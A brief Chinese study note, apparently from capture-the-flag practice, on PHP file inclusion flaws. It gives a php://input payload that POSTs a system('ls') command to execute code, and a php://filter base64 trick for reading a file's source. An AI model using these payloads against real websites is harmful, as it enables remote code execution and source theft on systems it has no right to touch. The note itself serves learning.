2020.09.17
文件包含漏洞
做題
經驗教訓
- php文件中出現
include()
方法時,有可能存在文件包含漏洞; - 文件包含漏洞一般的利用方式是構造
path=php://input
,然后在post一個php文件,例如<?php echo system('ls');?>
,這樣就可以輸出當前目錄下的文件列表; ?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
,可以用來讀取某一文件源碼;
include
- 打開看到文件源碼,沒有任何過濾的文件包含,構造payload獲取flag